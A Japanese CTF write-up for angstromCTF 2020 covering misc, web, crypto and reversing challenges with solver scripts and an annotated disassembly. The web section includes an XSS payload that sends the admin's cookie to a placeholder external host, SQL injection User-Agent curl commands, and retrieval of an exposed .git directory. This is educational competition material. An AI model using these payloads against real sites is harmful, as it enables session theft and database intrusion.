angstromCTF 2020 Writeup
チーム Contrail として ångstromCTF 2020に参加しました
最終順位は122/1782位(2335pt)でした
自分は
MISC
を解きました。
MISC
Sanity Check(5pt)
Join our Discord! https://discord.gg/Dduuscw
Discordに入るとFlagがピン止めしてあるらしい 問題文のリンクはYoutubeに飛ばされる コンテストサイトの/ChatからDiscordの招待を受け取り入る
rolesチャンネルをみると
React with:triangular_flag_on_post: to gain access to the rest of the channels, and react with :bell: to get notifications about announcements.
らしいのでFlagのスタンプを押すとチャンネルが全て現れ,generalにフラグがある
actf{never_gonna_let_you_down}
ws1(30pt)
Find my password from this recording (:
strings recording.pcapng | grep actf
を実行すると
flagz,actf{wireshark_isn't_so_bad_huh-a9d8g99ikdf})
flag=actf%7Bwireshark_isn%27t_so_bad_huh-a9d8g99ikdf%7D
actf{wireshark_isn't_so_bad_huh-a9d8g99ikdf}
ws2(80pt)
No ascii, not problem :)
wiresharkで開いてExport HTTPすると画像ファイルがある
画像にflagが書いてある
actf{ok_to_b0r0s-4809813}
Shifter(160pt)
What a strange challenge…
It'll be no problem for you, of course!
nc misc.2020.chall.actf.co 20300
サーバに接続してみると以下のようなレスポンスが返ってくる
Solve 50 of these epic problems in a row to prove you are a master crypto man like Aplet123!
You'll be given a number n and also a plaintext p.
Caesar shift `p` with the nth Fibonacci number.
n < 50, p is completely uppercase and alphabetic, len(p) < 50
You have 60 seconds!
--------------------
Shift YDLDQOLN by n=49
問題分を読むとn番目のフィボナッチ数を求めてその数をもとにシーザー暗号を求めれば良いらしい。問題は50問降ってくるのでプログラムを書く
式に起こすと以下のような形
caesar(p, (fibonatch(n) % 26));
以下のようなプログラムを書いた
p=nullが返ってくる時あるので気をつける
from pwn import *
import time
def caesor(text, n):
result = ""
for i in range(len(text)):
c = text[i]
result += chr((ord(c) + n-65) % 26 + 65)
return result
N = 50
table = [None] * (N + 1)
table[0] = 0
table[1] = 1
for i in range(2, N + 1):
table[i] = table[i-1] + table[i-2]
io = remote('misc.2020.chall.actf.co', 20300)
rule = io.recvuntil('--------------------')
print(rule)
i = 1
while True:
time.sleep(0.5)
task = io.recv(1024).decode('utf-8')
if "actf" in task:
print("Flag is", str(task))
exit()
# print("task",task)
splittask = task.split()
if len(splittask) == 4:
print(i,"=====NULL=====")
io.sendline('')
i += 1
continue
p = splittask[1]
n = (splittask[3])[2:]
shift = table[int(n)] % 26
ans = caesor(p, shift)
print(i, p, n, '->',ans)
io.sendline(ans)
i += 1
actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}
ws3(180pt)
What the… record.pcapng
wiresharkでpacketを開いてみる
httpの通信があるのでfollow http streamするとsecret.git/info/refs?service=git-upload-pack
に対してGETしていたりsecret.git/git-upload-pack
に対してPOSTしていたりする
git-upload-packについて調べる
https://git-scm.com/book/ja/v2/Git%E3%81%AE%E5%86%85%E5%81%B4-%E8%BB%A2%E9%80%81%E3%83%97%E3%83%AD%E3%83%88%E3%82%B3%E3%83%AB を見ると今回の転送プロトコルがsmartプロトコルであるとわかる
upload-packはデータのダウンロード、receive-packはデータのアップロードに使われるらしい
通信全体を見てみると
pull or fetch -> commit(認証失敗) -> commit -> commit
の流れが見える(多分)
とりあえず最初にダウンロードしたデータを抽出したい
クライアントのwant (hash)に対してPACKされたデータを返すらしいので、最初にダウンロードしたファイルだと思われるPACKファイルを抽出する
(Media type: application/x-git-upload-pack-resultを抽出する)
https://git-scm.com/docs/pack-format を見ながらバイナリエディタでPACKファイル以外の余分なメッセージを削除する
PACKファイルに対してfileコマンドを叩いてみる
export_pack_file1.bin: Git pack, version 2, 3 objects
PACKファイルはgit unpack-objectsコマンドで展開できるらしいので空のディレクトリを作りgit initする
mkdir unpack1
cd unpack1
git init
git unpack-objects < ../export_pack_file1
これで.git/objects/ 以下にobjectsが展開される 各objectsをzlibで解凍していく
12/9b99f3e90fe8faa5ed9b4e18bfb6c0cb5ce340
commit 160.tree a1ec825e60819302795b5e33e92be08bfcd1885e
author josh <josh@josh.josh> 1584054360 +0000
committer Gitea <gitea@fake.local> 1584054360 +0000
Initial commit
a1/ec825e60819302795b5e33e92be08bfcd1885e
tree 37.100644 README.md.Åú½Ç¬ÝH¢´.'ØSe...T.>
c5/fabdc7acdd48a2b49427d8536595028454973e
blob 23.# secret
secrettttt (:
次のcommitでsecretにflagが書かれていそうな気がするので次のPACKファイルを同じように復元する
34/b1647544bdcf0e896e080ec84bb8b57cccc8d0
commit 228.tree 87872f28963e229e8271e0fab6a557a1e5fb5131
parent 129b99f3e90fe8faa5ed9b4e18bfb6c0cb5ce340
author JoshDaBosh <jwanggt@gmail.com> 1584054396 -0400
committer JoshDaBosh <jwanggt@gmail.com> 1584054396 -0400
suiper secret stuff
87/872f28963e229e8271e0fab6a557a1e5fb5131
tree 73.100644 README.md.Åú½Ç¬ÝH¢´.'ØSe...T.>100644 flag.jpg.þ?GËË:ØéFЪÕ.Y½±¼.cò
fe/3f47cbcb3ad8e946d0aad59259bdb1bc9e63f2
blob 19370.ÿØÿà..JFIF.....H.H..ÿÛ.C...
(省略)
fe/3f47cbcb3ad8e946d0aad59259bdb1bc9e63f2にJPEGのヘッダーが見える+87/872f28963e229e8271e0fab6a557a1e5fb5131にflag.jpgの文字があるのでこのjpgがflag.jpgっぽい
先頭の余分なデータを削りJPEGとして修復するとflag.jpgが復元できてflagが書いてある
actf{git_good_git_wireshark-123323}
解いた後に気づいたがPACKファイルに対してbinwalk -eとかforemostを叩けばzlib圧縮されたオブジェクトが直接取得できるのでわざわざgit unpack-objectsしなくて良いので楽 (2つめのpackファイルは直接JPGが復元できる)
WEB
The Magic Word(20pt)
Ask and you shall receive…that is as long as you use the magic word.
sourceのスクリプトをみる
<script>
var msg = document.getElementById("magic");
setInterval(function() {
if (magic.innerText == "please give flag") {
fetch("/flag?msg=" + encodeURIComponent(msg.innerText))
.then(res => res.text())
.then(txt => magic.innerText = txt.split``.map(v => String.fromCharCode(v.charCodeAt(0) ^ 0xf)).join``);
}
}, 1000);
</script>
magicIDが振られているgive flag
エレメントを編集してplease give flag
にする
actf{1nsp3c7_3l3m3nt_is_y0ur_b3st_fri3nd}
Xmas Still Stands(50pt)
You remember when I said I dropped clam's tables? Well that was on Xmas day. And because I ruined his Xmas, he created the Anti Xmas Warriors to try to ruin everybody's Xmas. Despite his best efforts, Xmas Still Stands. But, he did manage to get a flag and put it on his site. Can you get it?
/Postで任意のテキストを投稿できて、/Reportで治安の悪い投稿を報告するとAdminが見に来て投稿を消してくれるらしい
/Adminを見るとcookieをみてadminと判断できたらFlagをくれると書いてある
/PostでXSSして/ReportでAdminのcookieを抜き取れる
/Postではscriptタグが使えなかったのでimgタグを利用する
以下のコードを/Postに投稿し割り振られたpost idを/Reportで報告すると用意したサーバにcookie付きでアクセスがある
<img src=x onerror="this.src='http://URL/?'+document.cookie; this.removeAttribute('onerror');">
得られたcookie
super_secret_admin_cookie: hello_yes_i_am_admin; admin_name=Jacob
cookieをセットして/Adminにアクセスするとflagが書いてある
actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}
Git Good(70pt)
Did you know that angstrom has a git repo for all the challenges? I noticed that clam committed a very work in progress challenge so I thought it was worth sharing.
https://gitgood.2020.chall.actf.co/ にアクセスするとHello,world!と書かれているだけで一見何も手がかりがないように思える
しかし、問題タイトル的に.git関連の問題だとわかる
https://gitgood.2020.chall.actf.co/.git/ に対してアクセスしたりwgetしたりしてみるが通らない
Cannot GET /.git
と言われしばらく悩む
.gitの中身が取得できないか試してみる
curl https://gitgood.2020.chall.actf.co/.git/HEAD
→ HEADが取得できた
git indexをみるとthisistheflag.txtなどがあることが分かる(配置されされているファイルがわかる)
thisistheflag.txtを見ると
There used to be a flag here...
と書いてある。→commitを遡り変更を復元する必要があるらしい
https://qiita.com/tatane616/items/dbad66179754be57d2e2 を見ながら可能な限りファイルを取得し.gitを再現していく
ある程度ファイルを復元しgit logを叩くが通らない
git fsck –fullでcommit間の整合性を確認できるらしい?
objectsが足りていないことがわかるので追加で取得する
git logが叩けるようになったのでcommit を遡りthisistheflag.txtの変更を確認するとflagが手に入る
actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}
btw this isn't the actual git server
Secret Agents(110pt)
Can you enter the secret agent portal? I've heard someone has a flag :eyes:
Our insider leaked the source, but was “terminated” shortly thereafter…
app.pyを見るとUserAgentでsqliできそうだとわかる
for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True):
if r.with_rows:
res = r.fetchall()
break
cursor.close()
conn.close()
if len(res) == 0:
return render_template("login.html", msg="stop! you're not allowed in here >:)")
if len(res) > 1:
return render_template("login.html", msg="hey! close, but no bananananananananana!!!! (there are many secret agents of course)")
return render_template("login.html", msg="Welcome, %s"%(res[0][0]))
クエリの実行結果が複数行あると
hey! close, but no bananananananananana!!!! (there are many secret agents of course)
と言われるらしいのでクエリの結果は1つに定まる必要がある
Pythonで実行されるクエリを調べる
>>> "SELECT * FROM Agents WHERE UA='%s'" % ("1 or 1=1;/*")
"SELECT * FROM Agents WHERE UA='1 or 1=1;/*'"
シングルクォートが無いと意図したクエリにならないので気をつける
curl -H "User-Agent: 1' or 1=1;/*" https://agents.2020.chall.actf.co/login
↑のクエリでsqliが成功したのでlimit句を付けて一行ずつ特定していく
最終的に以下のクエリでFlagが手に入った
curl -H "User-Agent: 1' or 1=1 limit 2,1;/*" https://agents.2020.chall.actf.co/login
<!DOCTYPE html>
<html>
<head>
<title>Super Secret Agents Login</title>
</head>
<body style="padding: 50px">
<p>Welcome, actf{nyoom_1_4m_sp33d}</p>
</body>
</html>
actf{nyoom_1_4m_sp33d}
Crypto
Keysar(40pt)
Hey! My friend sent me a message… He said encrypted it with the key ANGSTROMCTF.
He mumbled what cipher he used, but I think I have a clue.
Gotta go though, I have history homework!!
agqr{yue_stdcgciup_padas}
keysar調べてもそれらしいものがヒットしない
caesarのkeyありという意味だと悟り"caesar key"で検索
http://rumkin.com/tools/cipher/caesar-keyed.php に鍵ANGSTROMを入れてdecodeするとフラグ
actf{yum_delicious_salad}
Reasonably Strong Algorithm(70pt)
RSA strikes again!
n = 126390312099294739294606157407778835887
e = 65537
c = 13612260682947644362892911986815626931
nをp,qに分解する必要があるが
http://factordb.com/index.php?query=126390312099294739294606157407778835887
で分解できる
あとは過去に書いたsolverを利用した
from Crypto.Util import number
def totient(p, q):
return (p-1)*(q-1)
def decrypt(C, d, N):
return pow(C, d, N)
n = 126390312099294739294606157407778835887
e = 65537
c = 13612260682947644362892911986815626931
p = 9336949138571181619
q = 13536574980062068373
phi = totient(p, q)
d = number.inverse(e, phi)
m = decrypt(c, d, n)
print(number.long_to_bytes(m))
actf{10minutes}
Wacko Images(90pt)
How to make hiding stuff a e s t h e t i c? And can you make it normal again? enc.png image-encryption.py
The flag is actf{x#xx#xx_xx#xxx} where x represents any lowercase letter and # represents any one digit number.
image-encryption.pyによってエンコードされた画像をデコードする問題
もとのpixelの値がわからないのでエンコードされたpixel値から式が成り立つ値を総当りする以下のsolverを書いた
from numpy import *
from PIL import Image
def find(pixel, key):
for i in range(0,251):
if (i * key % 251 == pixel):
return i
return 0
enc = Image.open(r"enc.png")
img = array(enc)
height, width, color = img.shape
key = [41, 37, 23]
for x in range(0, height):
for y in range(0, width):
print("calc@",x,y)
pixel = img[x, y]
for i in range(0, 3):
pixel[i] = find(pixel[i], key[i])
img[x][y] = pixel
dec = Image.fromarray(img)
dec.save('dec.png')
デコードした画像にFlagが書いてある actf{m0dd1ng_sk1llz}
REV
Revving Up(50pt)
Clam wrote a program for his school's cybersecurity club's first rev lecture! Can you get it to give you the flag? You can find it at /problems/2020/revving_up on the shell server, which you can access via the “shell” link at the top of the site.
用意されているWebShell上でプログラムを実行し、言われたとおりに"give flag"と入力すると次はコマンド引数として"banana"と渡せと言われるので言われたとおりにするとFlag
team5960@actf:/problems/2020/revving_up$ ./revving_up
Congratulations on running the binary!
Now there are a few more things to tend to.
Please type "give flag" (without the quotes).
give flag
Good job!
Now run the program with a command line argument of "banana" and you'll be done!
team5960@actf:/problems/2020/revving_up$ ./revving_up banana
Congratulations on running the binary!
Now there are a few more things to tend to.
Please type "give flag" (without the quotes).
give flag
Good job!
Well I think it's about time you got the flag!
actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}
actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}
Windows of Opportunity(50pt)
Clam's a windows elitist and he just can't stand seeing all of these linux challenges! So, he decided to step in and create his own rev challenge with the “superior” operating system.
デコンパイルするのかなとか思いながら
strings windows_of_opportunity.exe | grep actf
したらFlagが降ってきた
actf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}
Taking Off(70pt)
So you started revving up, but is it enough to take off? Find the problem in /problems/2020/taking_off/ in the shell server.
正しいコマンドライン引数を入力する問題
コンテスト中ひたすらWeb Shell上でobjdump+gdbで解いていた(第四引数まで特定したところでxxdでダンプしてローカルで復元することに気づいた)
頑張ってアセンブリを読みながら作ったメモを供養しておきます
000000000040098e <main>:
40098e: 55 push rbp
40098f: 48 89 e5 mov rbp,rsp
400992: 48 81 ec c0 00 00 00 sub rsp,0xc0
400999: 89 bd 4c ff ff ff mov DWORD PTR [rbp-0xb4],edi
40099f: 48 89 b5 40 ff ff ff mov QWORD PTR [rbp-0xc0],rsi
4009a6: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
4009ad: 00 00
4009af: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
4009b3: 31 c0 xor eax,eax
//最初の二行をprintしてるっぽいぽい
4009b5: 48 8d 3d d4 02 00 00 lea rdi,[rip+0x2d4] # 400c90 <_IO_stdin_used+0x30>
4009bc: e8 0f fd ff ff call 4006d0 <puts@plt>
4009c1: 48 8d 3d 10 03 00 00 lea rdi,[rip+0x310] # 400cd8 <_IO_stdin_used+0x78>
4009c8: e8 03 fd ff ff call 4006d0 <puts@plt>
//コマンドライン引数の数を計算
4009cd: 83 bd 4c ff ff ff 05 cmp DWORD PTR [rbp-0xb4],0x5
4009d4: 74 16 je 4009ec <main+0x5e>
//おそらくコマンドライン引数が違う場合のメッセージ
4009d6: 48 8d 3d 2b 03 00 00 lea rdi,[rip+0x32b] # 400d08 <_IO_stdin_used+0xa8>
4009dd: e8 ee fc ff ff call 4006d0 <puts@plt>
4009e2: b8 01 00 00 00 mov eax,0x1
4009e7: e9 db 01 00 00 jmp 400bc7 <main+0x239>
//コマンドライン引数の数が合っていたら
4009ec: 48 8b 85 40 ff ff ff mov rax,QWORD PTR [rbp-0xc0]
4009f3: 48 83 c0 08 add rax,0x8
4009f7: 48 8b 00 mov rax,QWORD PTR [rax]
4009fa: 48 8d 95 54 ff ff ff lea rdx,[rbp-0xac]
400a01: 48 89 d6 mov rsi,rdx
400a04: 48 89 c7 mov rdi,rax
400a07: e8 32 ff ff ff call 40093e <string_to_int>
400a0c: 48 8b 85 40 ff ff ff mov rax,QWORD PTR [rbp-0xc0]
400a13: 48 83 c0 10 add rax,0x10
400a17: 48 8b 00 mov rax,QWORD PTR [rax]
400a1a: 48 8d 95 58 ff ff ff lea rdx,[rbp-0xa8]
400a21: 48 89 d6 mov rsi,rdx
400a24: 48 89 c7 mov rdi,rax
400a27: e8 12 ff ff ff call 40093e <string_to_int>
400a2c: 48 8b 85 40 ff ff ff mov rax,QWORD PTR [rbp-0xc0]
400a33: 48 83 c0 18 add rax,0x18
400a37: 48 8b 00 mov rax,QWORD PTR [rax]
400a3a: 48 8d 95 5c ff ff ff lea rdx,[rbp-0xa4]
400a41: 48 89 d6 mov rsi,rdx
400a44: 48 89 c7 mov rdi,rax
400a47: e8 f2 fe ff ff call 40093e <string_to_int>
//右辺は入力値
400a4c: 8b 85 54 ff ff ff mov eax,DWORD PTR [rbp-0xac]
400a52: 89 c7 mov edi,eax
400a54: e8 14 ff ff ff call 40096d <is_invalid>
400a59: 85 c0 test eax,eax
//is_invalidが0を返すと飛ぶ
400a5b: 75 6d jne 400aca <main+0x13c>
//右辺は入力値
400a5d: 8b 85 58 ff ff ff mov eax,DWORD PTR [rbp-0xa8]
400a63: 89 c7 mov edi,eax
400a65: e8 03 ff ff ff call 40096d <is_invalid>
400a6a: 85 c0 test eax,eax
//is_invalidが0を返すと飛ぶ
400a6c: 75 5c jne 400aca <main+0x13c>
//右辺は入力値
400a6e: 8b 85 5c ff ff ff mov eax,DWORD PTR [rbp-0xa4]
400a74: 89 c7 mov edi,eax
400a76: e8 f2 fe ff ff call 40096d <is_invalid>
400a7b: 85 c0 test eax,eax
//is_invalidが0を返すと飛ぶ
400a7d: 75 4b jne 400aca <main+0x13c>
//第二引数の特定
400a7f: 8b 85 58 ff ff ff mov eax,DWORD PTR [rbp-0xa8]
//多分 ecx = eax * 64 [eaxは第二引数?]
400a85: 6b c8 64 imul ecx,eax,0x64
//edx=第一引数
400a88: 8b 95 54 ff ff ff mov edx,DWORD PTR [rbp-0xac]
400a8e: 89 d0 mov eax,edx
//eax[第一引数]を2bit左シフト
400a90: c1 e0 02 shl eax,0x2
//シフトしたeaxとedx
400a93: 01 d0 add eax,edx
//2倍
400a95: 01 c0 add eax,eax
400a97: 8d 14 01 lea edx,[rcx+rax*1]
//第三引数
400a9a: 8b 85 5c ff ff ff mov eax,DWORD PTR [rbp-0xa4]
400aa0: 01 d0 add eax,edx
//なんか計算したeaxが0x3a4と同じじゃないとだめらしい
400aa2: 3d a4 03 00 00 cmp eax,0x3a4
400aa7: 75 21 jne 400aca <main+0x13c>
//第四引数?アドレスを渡すっぽい
400aa9: 48 8b 85 40 ff ff ff mov rax,QWORD PTR [rbp-0xc0]
400ab0: 48 83 c0 20 add rax,0x20
400ab4: 48 8b 00 mov rax,QWORD PTR [rax]
//ここにbreakpointしかければ引数がわかるので計算する必要なし
400ab7: 48 8d 35 8b 02 00 00 lea rsi,[rip+0x28b] # 400d49 <_IO_stdin_used+0xe9>
400abe: 48 89 c7 mov rdi,rax
400ac1: e8 7a fc ff ff call 400740 <strcmp@plt>
//eaxが1なら1、0なら0
400ac6: 85 c0 test eax,eax
//strcmpが正しければjmp
400ac8: 74 16 je 400ae0 <main+0x152>
//終了へ飛ぶブロック
400aca: 48 8d 3d 87 02 00 00 lea rdi,[rip+0x287] # 400d58 <_IO_stdin_used+0xf8>
400ad1: e8 fa fb ff ff call 4006d0 <puts@plt>
400ad6: b8 01 00 00 00 mov eax,0x1
400adb: e9 e7 00 00 00 jmp 400bc7 <main+0x239>
//多分パスワード聞かれるフェーズ
400ae0: 48 8d 3d a9 02 00 00 lea rdi,[rip+0x2a9] # 400d90 <_IO_stdin_used+0x130>
400ae7: e8 e4 fb ff ff call 4006d0 <puts@plt>
400aec: 48 8b 15 bd 15 20 00 mov rdx,QWORD PTR [rip+0x2015bd] # 6020b0 <stdin@@GLIBC_2.2.5>
400af3: 48 8d 85 70 ff ff ff lea rax,[rbp-0x90]
400afa: be 80 00 00 00 mov esi,0x80
400aff: 48 89 c7 mov rdi,rax
//password 入力
400b02: e8 29 fc ff ff call 400730 <fgets@plt>
400b07: 48 8d 85 70 ff ff ff lea rax,[rbp-0x90]
400b0e: be 0a 00 00 00 mov esi,0xa
400b13: 48 89 c7 mov rdi,rax
//文字列の検索
400b16: e8 f5 fb ff ff call 400710 <strchr@plt>
400b1b: 48 89 85 68 ff ff ff mov QWORD PTR [rbp-0x98],rax
400b22: 48 83 bd 68 ff ff ff cmp QWORD PTR [rbp-0x98],0x0
400b29: 00
400b2a: 74 0a je 400b36 <main+0x1a8>
400b2c: 48 8b 85 68 ff ff ff mov rax,QWORD PTR [rbp-0x98]
400b33: c6 00 00 mov BYTE PTR [rax],0x0
400b36: 48 8d 85 70 ff ff ff lea rax,[rbp-0x90]
400b3d: 48 89 c7 mov rdi,rax
//文字列の長さ
400b40: e8 9b fb ff ff call 4006e0 <strlen@plt>
400b45: 89 85 64 ff ff ff mov DWORD PTR [rbp-0x9c],eax
400b4b: c7 85 60 ff ff ff 00 mov DWORD PTR [rbp-0xa0],0x0
400b52: 00 00 00
400b55: eb 47 jmp 400b9e <main+0x210>
400b57: 8b 85 60 ff ff ff mov eax,DWORD PTR [rbp-0xa0]
400b5d: 48 98 cdqe
400b5f: 0f b6 84 05 70 ff ff movzx eax,BYTE PTR [rbp+rax*1-0x90]
400b66: ff
400b67: 83 f0 2a xor eax,0x2a
400b6a: 89 c1 mov ecx,eax
400b6c: 8b 85 60 ff ff ff mov eax,DWORD PTR [rbp-0xa0]
400b72: 48 63 d0 movsxd rdx,eax
400b75: 48 8d 05 14 15 20 00 lea rax,[rip+0x201514] # 602090 <desired>
400b7c: 0f b6 04 02 movzx eax,BYTE PTR [rdx+rax*1]
//8bit compare rcx rax
400b80: 38 c1 cmp cl,al
//これは飛ばないと行けない
400b82: 74 13 je 400b97 <main+0x209>
//I'm sure it's just a typo. try again
400b84: 48 8d 3d 3d 02 00 00 lea rdi,[rip+0x23d] # 400dc8 <_IO_stdin_used+0x168>
400b8b: e8 40 fb ff ff call 4006d0 <puts@plt>
400b90: b8 01 00 00 00 mov eax,0x1
400b95: eb 30 jmp 400bc7 <main+0x239>
400b97: 83 85 60 ff ff ff 01 add DWORD PTR [rbp-0xa0],0x1
//この下の比較が最後
400b9e: 8b 85 60 ff ff ff mov eax,DWORD PTR [rbp-0xa0]
400ba4: 3b 85 64 ff ff ff cmp eax,DWORD PTR [rbp-0x9c]
400baa: 7e ab jle 400b57 <main+0x1c9>
//congraturation的なメッセとフラグかな
400bac: 48 8d 3d 3d 02 00 00 lea rdi,[rip+0x23d] # 400df0 <_IO_stdin_used+0x190>
400bb3: e8 18 fb ff ff call 4006d0 <puts@plt>
400bb8: b8 00 00 00 00 mov eax,0x0
400bbd: e8 b5 fc ff ff call 400877 <print_flag>
400bc2: b8 00 00 00 00 mov eax,0x0
400bc7: 48 8b 4d f8 mov rcx,QWORD PTR [rbp-0x8]
400bcb: 64 48 33 0c 25 28 00 xor rcx,QWORD PTR fs:0x28
400bd2: 00 00
400bd4: 74 05 je 400bdb <main+0x24d>
400bd6: e8 15 fb ff ff call 4006f0 <__stack_chk_fail@plt>
400bdb: c9 leave
400bdc: c3 ret
400bdd: 0f 1f 00 nop DWORD PTR [rax]
上のダンプ結果をみながらgdbで検証する(もしくはGhidraのデコンパイル結果を見る)と
第一引数 3
第二引数 9
第三引数 2
第四引数 chichken
が求まる
これらをプログラムに渡して実行するとパスワードの入力が求められる
Ghidraのデコンパイル結果を見ると(一部rename)
while (loop <= string_length) {
if ((input[loop] ^ 0x2a) != desired[loop]) {
puts("I\'m sure it\'s just a typo. Try again.");
uVar2 = 1;
goto LAB_00400bc7;
}
loop = loop + 1;
}
passwordは0x2aとxorした結果がdesired(5a 46 4f 4b 59 4f 0a 4d 43 5c 4f 0a 4d 43 5c 4f 0a 4c 46 4b 4d 2a
)と等しくなる必要があるとわかる
つまりdesiredの各文字 xor 0x2aがpasswordである
これを求めるとpasswordがplease give flag
であるとわかる
求めたコマンドライン引数とpasswordを入力するとFlagが出力される
team5960@actf:/problems/2020/taking_off$ ./taking_off 3 9 2 chicken
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Well, you found the arguments, but what's the password?
please give flag
Good job! You're ready to move on to bigger and badder rev!
actf{th3y_gr0w_up_s0_f4st}
ところでwriteupを書きながら改めて問題文を見ると"taking_off"がリンクになっていますね…
わざわざダンプしなくても問題ファイルは提供されていました
actf{th3y_gr0w_up_s0_f4st}
感想
個人的にはForensicsが無くて悲しかったです(Discordにチャンネルがあったので問題追加があると思っていた)
最初の三日間くらい参加してその後は開発のタスクをしていました
簡単な問題しか通して無いですが色々なジャンルに手を出せてよかったと思います
反省点としては問題文はしっかり見るということ(Taking Offの戒め)